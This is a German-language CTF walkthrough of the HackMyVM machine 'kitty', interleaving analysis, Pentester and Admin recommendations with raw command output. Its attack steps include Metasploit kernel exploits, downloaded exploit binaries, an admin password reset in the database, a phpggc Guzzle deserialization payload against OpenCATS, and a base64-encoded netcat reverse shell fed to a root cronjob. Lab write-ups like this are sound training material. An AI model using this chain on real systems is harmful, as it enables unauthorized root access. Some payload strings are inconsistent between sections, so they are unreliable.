Empfehlung (Admin): (Siehe vorherige Empfehlung zu Dirty Pipe) Verhindern Sie das Herunterladen und Ausführen von nicht vertrauenswürdigen Binärdateien. Verwenden Sie AppArmor oder SELinux, um die Ausführung von Programmen in schreibbaren Verzeichnissen wie `/tmp` einzuschränken.
--2022-10-20 08:46:07-- http://192.168.2.153:8000/exploit-2
Connecting to 192.168.2.153:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17288 (17K) [application/octet-stream]
Saving to: ‘exploit-2’
exploit-2 100%[<===================>] 16.88K --.-KB/s in 0s
2022-10-20 08:46:07 (299 MB/s) - ‘exploit-2’ saved [17288/17288]
--2022-10-20 08:46:10-- http://192.168.2.153:8000/exploit-1
Connecting to 192.168.2.153:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16880 (16K) [application/octet-stream]
Saving to: ‘exploit-1’
exploit-1 100%[<===================>] 16.48K --.-KB/s in 0s
2022-10-20 08:46:10 (144 MB/s) - ‘exploit-1’ saved [16880/16880]
Analyse: Hier wird versucht, einen Metasploit-Exploit (`exploit/linux/local/netfilter_priv_esc_ipv4`) zu verwenden, der eine Schwachstelle im Netfilter-Subsystem des Linux-Kernels ausnutzt (CVE-2021-22555, nicht Dirty Pipe). Dies erfordert eine bestehende Meterpreter-Sitzung oder Shell-Sitzung auf dem Ziel. Die Optionen werden konfiguriert (`LHOST`, `LPORT`, `SESSION`) und der Exploit mehrmals gestartet.
Bewertung: Die Versuche scheitern.
Empfehlung (Pentester): Da der Metasploit-Netfilter-Exploit fehlschlägt und der Dirty-Pipe-Exploit erfolgversprechender aussieht (und bereits heruntergeladen wurde), sollte dieser priorisiert werden. Falls die vorkompilierten Dirty-Pipe-Exploits (`exploit-1`, `exploit-2`) nicht funktionieren, suchen Sie nach dem Quellcode und versuchen Sie, ihn direkt auf dem Ziel zu kompilieren (falls `gcc` installiert ist). Der `local_exploit_suggester` kann weitere Ideen liefern, falls Dirty Pipe fehlschlägt.
Empfehlung (Admin): Halten Sie das System gepatcht, um sowohl CVE-2021-22555 als auch CVE-2022-0847 zu mitigieren. Installieren Sie keine Entwicklungs-Tools (Compiler, Bibliotheken) auf Produktionsservern, wenn sie nicht unbedingt benötigt werden, da sie Angreifern das Kompilieren von Exploits erleichtern können.
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
Module options (exploit/linux/local/netfilter_priv_esc_ipv4): Name Current Setting Required Description ---- --------------- -------- ----------- COMPILE Auto yes Compile on target (Accepted: Auto, True, False) MAXWAIT 180 yes Max seconds to wait for decrementation in seconds REEXPLOIT false yes desc already ran, no need to re-run, skip to running pwn SESSION yes The session to run this module on Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.2.153 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Ubuntu
lhost => 192.168.2.153
lport => 4445
[-] Msf::OptionValidateError The following options failed to validate: SESSION
session => 4
[*] Started reverse TCP handler on 192.168.2.153:4445 [-] libc6-dev-i386 is not installed. Compiling will fail. [-] gcc-multilib is not installed. Compiling will fail. ^C[-] Exploit failed [user-interrupt]: Interrupt [-] run: Interrupted
verbose => true
[*] Started reverse TCP handler on 192.168.2.153:4445 [*] Checking if ip_tables is loaded in kernel [+] ip_tables.ko is loaded [+] SMEP is not enabled [+] SMAP is not enabled [+] Unprivileged user namespaces are permitted [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed [-] libc6-dev-i386 is not installed. Compiling will fail. [-] gcc-multilib is not installed. Compiling will fail. [+] gcc is installed [*] Dropping pre-compiled exploit on system [*] Executing /tmp/Z7WtwIUL, may take around 35s to finish. Watching for /tmp/okDjTFSS to be created. [*] Waited 0s so far [*] Waited 10s so far [*] Waited 20s so far [*] Waited 30s so far [*] Waited 40s so far [*] Waited 50s so far [*] Waited 60s so far [*] 192.168.2.100 - Meterpreter session 2 closed. Reason: Died [*] Waited 70s so far [*] Waited 80s so far [*] Waited 90s so far [*] Waited 100s so far ^C[-] Exploit failed [user-interrupt]: Interrupt [-] run: Interrupted
Unsetting lport...
lport => 4444
[*] Started reverse TCP handler on 192.168.2.153:4444 [*] Checking if ip_tables is loaded in kernel [+] ip_tables.ko is loaded [+] SMEP is not enabled [+] SMAP is not enabled [+] Unprivileged user namespaces are permitted [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed [-] libc6-dev-i386 is not installed. Compiling will fail. [-] gcc-multilib is not installed. Compiling will fail. [+] gcc is installed [*] Dropping pre-compiled exploit on system [*] Executing /tmp/qdSNyIc4, may take around 35s to finish. Watching for /tmp/okDjTFSS to be created. [*] Waited 0s so far [*] Waited 10s so far [...]
Analyse: Diese Ausgabe stammt vermutlich vom Metasploit `local_exploit_suggester` oder einem ähnlichen Enumerationsskript. Es listet potenzielle lokale Privilege Escalation Exploits basierend auf dem Zielsystem auf.
Bewertung: Das Skript identifiziert mehrere potenzielle Schwachstellen:
Empfehlung (Pentester): Priorisieren Sie den Dirty Pipe Exploit. Falls dieser fehlschlägt, untersuchen Sie PwnKit für `pkexec` (Version prüfen, Exploit suchen/kompilieren). Die anderen Schwachstellen sind möglicherweise weniger wahrscheinlich oder erfordern spezifischere Bedingungen.
Empfehlung (Admin): Patchen Sie das System umfassend, um alle diese bekannten Schwachstellen (Dirty Pipe, PwnKit, Netfilter etc.) zu schließen. Halten Sie das Betriebssystem und alle Pakete auf dem neuesten Stand.
=[ Metasploit local_exploit_suggester oder ähnliches Skript ]= # Name Potentially Vulnerable? Check Result - ---- ----------------------- ------------ 1 exploit/linux/local/cve_2022_0847_dirtypipe Yes The target appears to be vulnerable. Linux kernel version found: 5.10.0 2 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable. 3 exploit/linux/local/pkexec Yes The service is running, but could not be validated. 4 exploit/linux/local/su_login Yes The target appears to be vulnerable. 5 exploit/linux/local/ubuntu_enlightenment_mount_priv_esc Yes The target appears to be vulnerable.
Analyse: Diese Zeilen scheinen zufällige Schnipsel oder Notizen aus der Enumerationsphase zu sein. Sie listen potenzielle interessante Pfade, Befehle oder Hostnamen auf.
Bewertung:
Empfehlung (Pentester): Überprüfen Sie, ob `jwt.hmv` ein auflösbarer Hostname ist oder ob eine Datei dieses Namens existiert. Untersuchen Sie, wofür der Unix-Socket `/tmp/socket` verwendet wird, falls er existiert.
Empfehlung (Admin): Bereinigen Sie unnötige Dateien oder Notizen auf dem System.
/usr/local/bin/gitea web -c /etc/gitea/app.ini /bin/passwd nc -uU /tmp/socket jwt.hmv /usr/bin/gpg 127.0.0.1:8000
Analyse: Diese Ausgabe stammt wahrscheinlich von einem Skript wie `LinPEAS` oder einer manuellen Überprüfung der Linux Capabilities. Capabilities sind eine Methode, um Root-Berechtigungen feingranularer zu vergeben, als es mit SUID möglich ist.
Bewertung: Die Umgebung (`Current env capabilities`) und der aktuelle Prozess (`Current proc capabilities`) haben keine besonderen Capabilities gesetzt. Die "Parent Shell" ebenfalls nicht. Es werden jedoch zwei Dateien mit Capabilities gefunden:
Empfehlung (Pentester): Capabilities sind hier wahrscheinlich kein erfolgversprechender Vektor. Konzentrieren Sie sich auf andere Methoden wie den Cronjob oder Kernel-Exploits.
Empfehlung (Admin): Überprüfen Sie regelmäßig die gesetzten Capabilities auf dem System (`getcap -r / 2>/dev/null`). Vergeben Sie Capabilities nur, wenn sie unbedingt notwendig sind. Halten Sie Pakete wie GStreamer (`gst-ptp-helper`) aktuell.
╔══════════╣ Capabilities ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities Current env capabilities: Current: = Current proc capabilities: CapInh: 0000000000000000 CapPrm: 0000000000000000 CapEff: 0000000000000000 CapBnd: 000001ffffffffff CapAmb: 0000000000000000 Parent Shell capabilities: 0x0000000000000000= Files with capabilities (limited to 50): /usr/bin/ping cap_net_raw=ep /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
Analyse: Hier wird eine SSH-Portweiterleitung eingerichtet. Der Befehl `ssh -L 8000:127.0.0.1:8000 dyutidhara@kitty -i ssh.kitty` leitet Verbindungen, die auf Port 8000 des lokalen Angreifer-Systems eingehen, über den SSH-Tunnel zum Port 8000 auf dem Zielsystem (`kitty`, auf dessen Loopback-Interface `127.0.0.1`). Es wird ein SSH-Schlüssel `ssh.kitty` verwendet (vermutlich derselbe wie `idr`/`iiii`).
Bewertung: Dies ist nützlich, um auf Dienste zuzugreifen, die auf dem Zielsystem nur auf `localhost` lauschen (wie die API auf Port 3000, die vermutlich auf Port 8000 weitergeleitet wird, oder eine andere lokale Anwendung). Die Warnung bezüglich des Host-Schlüssels erscheint, da der Hostname `kitty` nun über eine andere IP (die des Zielsystems statt der vorherigen `192.168.2.150`) angesprochen wird oder der Schlüssel sich geändert hat. Der Login als `dyutidhara` ist erfolgreich.
Empfehlung (Pentester): Greifen Sie nun auf `http://localhost:8000` auf Ihrem Angreifer-System zu, um die Anwendung zu erreichen, die auf Port 8000 des Zielsystems lauscht. Untersuchen Sie diese Anwendung auf Schwachstellen oder Informationen.
Empfehlung (Admin): Beschränken Sie SSH-Portweiterleitungen serverseitig (`AllowTcpForwarding no` in `sshd_config`), wenn sie nicht benötigt werden. Überwachen Sie SSH-Logins und -Aktivitäten.
The authenticity of host 'kitty (192.168.2.107)' can't be established. ED25519 key fingerprint is SHA256:hyaH0n5p7+5xBVQEL/hRIeVRNWsLv8qjefRknYQi6Q. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:33: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'kitty' (ED25519) to the list of known hosts. Linux kitty 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Nov 9 19:37:46 2022 from 192.168.2.109 dyutidhara@kitty:~$
Analyse: Nach Einrichtung der Portweiterleitung wird `curl` verwendet, um auf `http://localhost:8000/` (auf dem Angreifer-System, was zum Zielsystem weitergeleitet wird) zuzugreifen.
Bewertung: Die Antwort ist HTML-Code für eine Swagger UI-Dokumentationsseite. Swagger UI wird verwendet, um RESTful APIs zu dokumentieren und interaktiv zu testen. Dies bestätigt, dass auf Port 8000 des Zielsystems eine API läuft (wahrscheinlich die "whythisapiissofast"-API) und dass sie ihre eigene Dokumentation bereitstellt.
Empfehlung (Pentester): Öffnen Sie `http://localhost:8000` in einem Browser auf Ihrem Angreifer-System. Untersuchen Sie die API-Dokumentation in der Swagger UI. Suchen Sie nach interessanten Endpunkten, insbesondere solchen, die Authentifizierung umgehen, Informationen preisgeben oder Aktionen ermöglichen könnten (z.B. Benutzerverwaltung, Dateiupload/-download). Die Endpunkte `-1` und `-2` wurden bereits gefunden, aber es könnte weitere geben.
Empfehlung (Admin): Stellen Sie sicher, dass API-Dokumentationen wie Swagger UI nicht versehentlich sensible Informationen oder undokumentierte, unsichere Endpunkte preisgeben. Schützen Sie den Zugriff auf die API und ihre Dokumentation angemessen, insbesondere in Produktionsumgebungen.
<!DOCTYPE html> <html> <head> <link type="text/css" rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swagger-ui-dist@3/swagger-ui.css"> <link rel="shortcut icon" href="https://fastapi.tiangolo.com/img/favicon.png"> <title>HackMyVM API - Swagger UI</title> </head> <body> <div id="swagger-ui"> </div> <script src="https://cdn.jsdelivr.net/npm/swagger-ui-dist@3/swagger-ui-bundle.js"></script> <!-- `SwaggerUIBundle` is now available on the page --> <script> const ui = SwaggerUIBundle({ url: '/openapi.json', "dom_id": "#swagger-ui", "layout": "BaseLayout", "deepLinking": true, "showExtensions": true, "showCommonExtensions": true,"defaultModelsExpandDepth": -1, oauth2RedirectUrl: window.location.origin + '/docs/oauth2-redirect', presets: [ SwaggerUIBundle.presets.apis, SwaggerUIBundle.SwaggerUIStandalonePreset ], }) </script> </body> </html>
Analyse: Hier wird versucht, sich über den API-Endpunkt `/api/v2/user/login` anzumelden. Es wird ein POST-Request mit JSON-Daten gesendet. In diesem Fall werden die zuvor gefundenen Zugangsdaten (`nobody`:`74k3!7345y`) verwendet, aber zusätzlich wird `is_admin: 1` im JSON-Payload gesendet.
Bewertung: Die API gibt einen `access_token` zurück: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Im5vYm9keSIsImlzX2FkbWluIjowLCJleHBpcmVzIjoxNjY4MDQ1Nzk3LjA3NzMxNTN9.agtlUqaQV0yYmBZYvFRyCcz5hj_Ztj86e3Db1L7oBYg`. Dies ist ein JSON Web Token (JWT). Obwohl im Request `is_admin: 1` gesendet wurde, enthält der Payload des zurückgegebenen Tokens (der zweite Teil, base64-dekodiert) `"is_admin":0`. Das bedeutet, der Versuch, sich selbst Admin-Rechte zu geben, wurde von der API ignoriert oder überschrieben. Der Login als `nobody` war jedoch erfolgreich.
Empfehlung (Pentester):
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Im5vYm9keSIsImlzX2FkbWluIjowLCJleHBpcmVzIjoxNjY4MDQ1Nzk3LjA3NzMxNTN9.agtlUqaQV0yYmBZYvFRyCcz5hj_Ztj86e3Db1L7oBYg"}
Analyse: Es werden weitere Login-Versuche über die API unternommen, diesmal mit verschiedenen Benutzernamen (`test`, `git`) und Passwörtern, sowie der erneute erfolgreiche Login als `nobody`. Anschließend wird versucht, das erhaltene JWT mit `base64 -d` zu dekodieren.
Bewertung: Die fehlgeschlagenen Logins bestätigen, dass nur `nobody` mit dem Passwort `74k3!7345y` gültig ist. Der Versuch, das gesamte JWT mit `base64 -d` zu dekodieren, scheitert mit `base64: ungültige Eingabe`, weil ein JWT aus drei durch Punkte getrennten Base64-kodierten Teilen besteht (Header, Payload, Signatur) und die Signatur oft Zeichen enthält, die für Base64 ungültig sind. Man muss Header und Payload separat dekodieren.
Empfehlung (Pentester): Dekodieren Sie Header und Payload des JWTs separat, z.B. online auf jwt.io oder manuell:
`echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9" | base64 -d`
`echo "eyJ1c2VybmFtZSI6Im5vYm9keSIsImlzX2FkbWluIjowLCJleHBpcmVzIjoxNjY4MDQ1Nzk3LjA3NzMxNTN9" | base64 -d`
Versuchen Sie weiterhin, den HS256-Schlüssel zu knacken.
Empfehlung (Admin): Siehe vorherige Empfehlungen zu JWTs.
{"Error":"Invalid login details!"}
{"Error":"Invalid login details!"}
{"Error":"Invalid login details!"}
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Im5vYm9keSIsImlzX2FkbWluIjowLCJleHBpcmVzIjoxNjY4MDQ1Nzk3LjA3NzMxNTN9.agtlUqaQV0yYmBZYvFRyCcz5hj_Ztj86e3Db1L7oBYg"}
{"typ":"JWT","alg":"HS256"}base64: invalid input
Analyse: Ein Vermerk "18.04.2023 weitergemacht" zeigt eine Pause in der Bearbeitung an. Danach wird der Inhalt einer Datei namens `iiii` angezeigt, die den zuvor über die API gefundenen SSH-Schlüssel enthält. Der Schlüssel wird dann mit `vi` bearbeitet (wahrscheinlich nur geöffnet und wieder geschlossen) und die Berechtigungen auf `600` gesetzt, was für SSH-Schlüssel notwendig ist. Schließlich wird versucht, sich mit diesem Schlüssel als `dyutidhara` anzumelden.
Bewertung: Der SSH-Login ist erneut erfolgreich. Dies wiederholt im Grunde den Schritt, der zum initialen Zugriff führte, bestätigt aber die Gültigkeit des Schlüssels und des Benutzernamens `dyutidhara`.
Empfehlung (Pentester): Da der Zugriff als `dyutidhara` bereits besteht und untersucht wurde, konzentrieren Sie sich auf die verbleibenden Vektoren zur Rechteausweitung, insbesondere den von `pspy` aufgedeckten Cronjob und die Untersuchung der `/etc/crontab`.
Empfehlung (Admin): Siehe vorherige Empfehlungen zur SSH-Schlüsselsicherheit und Widerruf kompromittierter Schlüssel.
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[...]
-----END OPENSSH PRIVATE KEY-----
Linux kitty 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Mar 29 06:39:26 2022 from 192.168.1.5 dyutidhara@kitty:~$
Analyse: Die systemweite Crontab-Datei (`/etc/crontab`) wird ausgelesen. Diese Datei definiert geplante Aufgaben, die vom System ausgeführt werden.
Bewertung: Neben den Standard-Cronjobs für `cron.hourly`, `cron.daily`, `cron.weekly` und `cron.monthly` gibt es einen sehr auffälligen, benutzerdefinierten Eintrag, der jede Minute (`* * * * *`) als `root` ausgeführt wird: `* * * * * root [ -f /usr/local/etc/newfile.txt ] && /usr/bin/sed -e 's/\[{"Expires":1,"Discard":false,"Value":"//' -e 's/\\n"}]//' /usr/local/etc/newfile.txt > /usr/local/etc/payload.txt | for i in $(/usr/bin/cat /usr/local/etc/payload.txt); do /usr/bin/echo $i | /usr/bin/base64 -d | /usr/bin/bash; done` Dieser Cronjob prüft, ob die Datei `/usr/local/etc/newfile.txt` existiert. Wenn ja, verwendet er `sed`, um bestimmte Zeichenketten daraus zu entfernen und das Ergebnis in `/usr/local/etc/payload.txt` zu schreiben. Dann liest er jede Zeile (`i`) aus `payload.txt`, dekodiert sie mit Base64 und führt das Ergebnis mit `/usr/bin/bash` aus. **Dies ist ein kritischer Befund und ein klarer Weg zur Rechteausweitung!** Wenn der Benutzer `dyutidhara` Schreibrechte auf `/usr/local/etc/newfile.txt` hat (oder auf das Verzeichnis `/usr/local/etc/`), kann er Base64-kodierten Shell-Code in diese Datei schreiben, der dann innerhalb einer Minute als Root ausgeführt wird.
Empfehlung (Pentester):
Analyse: Nachdem der kritische Cronjob in `/etc/crontab` identifiziert wurde, wird versucht, auf die Dateien zuzugreifen, die er verwendet: `/usr/local/etc/newfile.txt` (die Eingabedatei) und `/usr/local/etc/payload.txt` (die temporäre Datei, die den zu dekodierenden Payload enthält).
Bewertung: Beide `cat`-Befehle schlagen mit `Permission denied` fehl. Dies bedeutet, dass der aktuelle Benutzer `dyutidhara` keine Leserechte für diese Dateien hat. Dies schließt einen einfachen Angriff aus, bei dem der Inhalt von `payload.txt` direkt gelesen oder der Inhalt von `newfile.txt` direkt manipuliert wird, um den Cronjob auszulösen. Es muss ein indirekter Weg gefunden werden, um den Inhalt von `/usr/local/etc/newfile.txt` zu beeinflussen.
Empfehlung (Pentester): Da der direkte Zugriff verweigert wird:
cat: /usr/local/etc/newfile.txt: Permission denied
cat: /usr/local/etc/payload.txt: Permission denied
Analyse: Der Inhalt der Nginx-Konfigurationsdatei für den virtuellen Host `opencats` wird angezeigt. Diese befindet sich unter `/etc/nginx/sites-enabled/opencats`.
Bewertung: Die Konfiguration definiert einen weiteren virtuellen Host, der auf Port 80 lauscht:
Empfehlung (Pentester):
server { listen 80; server_name thisisnotcatitisopencats.kitty.hmv; root /opt/opencats; index index.html index.htm index.php; location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/power.sock; } }
Analyse: Dieser Befehl bereitet den Payload für die Ausnutzung des Cronjobs vor. Der Befehl `nc -e /bin/bash 192.168.2.130 9001` (der eine Reverse Shell zur IP 192.168.2.130 auf Port 9001 startet) wird mittels `echo` ausgegeben, dann mit `base64` kodiert und das Ergebnis in die Datei `/tmp/newfile.txt` geschrieben.
Bewertung: Dies erstellt den Base64-kodierten Payload (`bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xMzAgOTAwMQo=` inklusive des Zeilenumbruchs `\n`, der von `echo` standardmäßig hinzugefügt wird) in einer temporären Datei. Dieser Payload soll später, vermutlich über eine andere Schwachstelle (z.B. PHP-Deserialisierung in OpenCATS), in die Datei `/usr/local/etc/newfile.txt` geschrieben werden, damit der Cronjob ihn verarbeiten kann. Dies ist ein notwendiger Zwischenschritt, da direkter Schreibzugriff auf die Zieldatei fehlt.
Empfehlung (Pentester):
Analyse: Auf dem Angreifer-System wird ein Netcat-Listener gestartet. `-l` bedeutet Listen (lauschen), `-v` sorgt für ausführliche Ausgabe, `-n` verhindert DNS-Lookups und `-p 9001` gibt den Port an, auf dem gelauscht wird.
Bewertung: Dies ist der notwendige Gegenpart zur Reverse Shell, die durch den Cronjob ausgelöst werden soll. Der Listener wartet nun auf eine eingehende Verbindung auf Port 9001. Sobald der Payload erfolgreich platziert und vom Cronjob ausgeführt wird, sollte hier die Root-Shell erscheinen.
Empfehlung (Pentester): Lassen Sie diesen Listener laufen, während Sie versuchen, den Payload auf dem Zielsystem in `/usr/local/etc/newfile.txt` zu platzieren.
Empfehlung (Admin): Firewall-Regeln (sowohl auf dem Server als auch im Netzwerk) sollten ausgehende Verbindungen zu beliebigen Ports einschränken (Egress Filtering). Dies kann die erfolgreiche Etablierung von Reverse Shells erschweren oder verhindern.
listening on [any] 9001 ...
Analyse: Auf dem Angreifer-System wird das Paket `phpggc` installiert. `phpggc` ist ein Tool zum Generieren von Serialisierungs-Payloads für verschiedene PHP-Frameworks und -Bibliotheken, um PHP-Objekt-Injection-Schwachstellen auszunutzen. Anschließend wird `phpggc` verwendet, um einen Payload für das Guzzle-Framework (Gadget Chain `FW1`) zu erstellen. Dieser Payload soll beim Deserialisieren den Inhalt der Datei `/tmp/newfile.txt` (die den Base64-kodierten Reverse-Shell-Befehl enthält) in die Datei `/usr/local/etc/newfile.txt` schreiben. Die Ausgabe wird URL-kodiert (`-u`).
Bewertung: Dies ist der Kern des Plans, um die fehlenden Schreibrechte auf `/usr/local/etc/newfile.txt` zu umgehen. Es wird eine PHP-Deserialisierungsschwachstelle in einer Anwendung (vermutlich OpenCATS, da Guzzle oft verwendet wird) angenommen. Der generierte Payload (`a%3A2%3A...%7D`) ist der serialisierte PHP-Objekt-String, der, wenn er von einer anfälligen `unserialize()`-Funktion verarbeitet wird, die gewünschte Dateioperation durchführt. Der darin enthaltene Base64-String `bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xMzAgTAwMQo=` ist der eigentliche Reverse-Shell-Payload. Dieser wird durch den Exploit in `/usr/local/etc/newfile.txt` platziert. Der Cronjob liest dann diese Datei, der `sed`-Befehl lässt den Base64-String wahrscheinlich unverändert nach `/usr/local/etc/payload.txt` schreiben, und der anschließende `base64 -d | bash` führt die Shell aus.
Empfehlung (Pentester):
Paketlisten werden gelesen… Fertig Abhängigkeitsbaum wird aufgebaut… Fertig Statusinformationen werden eingelesen… Fertig [...] Die folgenden NEUEN Pakete werden installiert: phpggc [...]
a%3A2%3A%7Bi%3A7%3B%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3B%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A49%3A%22bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xMzAgTAwMQo%3D%0A%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A26%3A%22%2Fusr%2Flocal%2Fetc%2Fnewfile.txt%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3B%7Di%3A7%3Bi%3A7%3B%7D
Analyse: Auf dem Zielsystem wird sich erneut als Datenbank-Root (`root`:`root`) angemeldet. Die Datenbank `opencats` wird ausgewählt, und das Passwort für den Benutzer `admin` in der Tabelle `user` wird auf den MD5-Hash von "admin" (`21232f297a57a5a743894a0e4a801fc3`) gesetzt.
Bewertung: Dies dient wahrscheinlich dazu, den Zugriff auf die OpenCATS-Webanwendung zu erlangen oder sicherzustellen. Indem das Passwort des Admin-Benutzers auf einen bekannten Wert gesetzt wird, kann sich der Angreifer nun als `admin` mit dem Passwort `admin` über die Weboberfläche anmelden. Dies erleichtert die Suche nach dem Deserialisierungs-Endpunkt oder anderen Schwachstellen in der Anwendung.
Empfehlung (Pentester): Melden Sie sich bei `http://thisisnotcatitisopencats.kitty.hmv` als `admin` mit dem Passwort `admin` an. Suchen Sie nach Funktionen, die Benutzereingaben deserialisieren könnten (Profileinstellungen, Import/Export, Konfigurationen, spezielle Add-ons). Verwenden Sie Browser-Entwicklertools, um Parameter und Cookies zu identifizieren, die den `phpggc`-Payload aufnehmen könnten.
Empfehlung (Admin): Ändern Sie niemals Passwörter auf bekannte, schwache Werte. Verwenden Sie starke, zufällige Passwörter. Überwachen Sie Datenbankänderungen, insbesondere an Benutzer- und Authentifizierungstabellen. Schützen Sie den Datenbank-Root-Zugriff streng.
Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 95 Server version: 10.5.15-MariaDB-1:10.5.15+maria~bullseye mariadb.org binary distribution Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> use opencats; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [opencats]> UPDATE user SET password='21232f297a57a5a743894a0e4a801fc3' WHERE user_name='admin'; Query OK, 1 row affected (0.044 sec) Rows matched: 1 Changed: 1 Warnings: 0 MariaDB [opencats]>
Analyse: Diese Blöcke zeigen Wiederholungen oder Statusaktualisierungen: Der `phpggc`-Befehl wird erneut angezeigt (wahrscheinlich, um den Payload zu kopieren), der Netcat-Listener wird neu gestartet (oder es wird bestätigt, dass er läuft), und der relevante Eintrag in `/etc/hosts` wird gezeigt. Wichtig ist hier die IP-Adresse `192.168.2.129`, die nun für alle Hostnamen des Ziels verwendet wird.
Bewertung: Bestätigung der Werkzeuge und Konfigurationen vor dem finalen Angriffsschritt. Die korrekte IP-Adresse in `/etc/hosts` ist entscheidend für die Erreichbarkeit der Webanwendung.
Empfehlung (Pentester): Stellen Sie sicher, dass die IP `192.168.2.129` korrekt ist und der Listener läuft. Fahren Sie mit dem Senden des Payloads an OpenCATS fort.
Empfehlung (Admin): Keine direkten Maßnahmen hier, außer der Überwachung von Netzwerkscans oder Änderungen an der Netzwerkkonfiguration.
a%3A2%3A%7Bi%3A7%3B%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3B%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A49%3A%22bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xMzAgTAwMQo%3D%0A%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A26%3A%22%2Fusr%2Flocal%2Fetc%2Fnewfile.txt%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3B%7Di%3A7%3Bi%3A7%3B%7D
listening on [any] 9001 ...
127.0.0.1 localhost
127.0.1.1 cyber
# 192.168.2.107 AAAAAAAAAAAAA.hmv
192.168.2.129 cookie.kitty.hmv kitty.hmv whythisapiissofast.kitty.hmv thisisnotcatitisopencats.kitty.hmv
Analyse: Dies ist der entscheidende Schritt zur Auslösung der Deserialisierungs-Schwachstelle. Der mit `phpggc` generierte, URL-kodierte Payload wird als Wert des GET-Parameters `parametersactivity:ActivityDataGrid` an die URL `http://thisisnotcatitisopencats.kitty.hmv/index.php?m=activity` gesendet. Dies geschieht typischerweise durch Aufrufen dieser URL in einem Webbrowser oder mit einem Tool wie `curl`.
Bewertung: Wenn die OpenCATS-Instanz auf dieser Seite den Parameter `parametersactivity:ActivityDataGrid` entgegennimmt und dessen Wert unsicher deserialisiert, wird der Guzzle-Gadget-Chain-Exploit ausgelöst. Dies führt dazu, dass der Inhalt von `/tmp/newfile.txt` (der Base64-kodierte Reverse-Shell-Befehl) in die Datei `/usr/local/etc/newfile.txt` geschrieben wird. Kurz darauf (innerhalb einer Minute) wird der Cronjob diese Datei verarbeiten, den Base64-Code extrahieren, dekodieren und als Root ausführen, was die Reverse Shell zum lauschenden Netcat-Listener sendet.
Empfehlung (Pentester): Führen Sie diesen Request aus (im Browser oder mit `curl`). Beobachten Sie den Netcat-Listener auf Port 9001 auf dem Angreifer-System. Wenn eine Verbindung eingeht, überprüfen Sie mit `id`, ob Sie Root-Rechte haben.
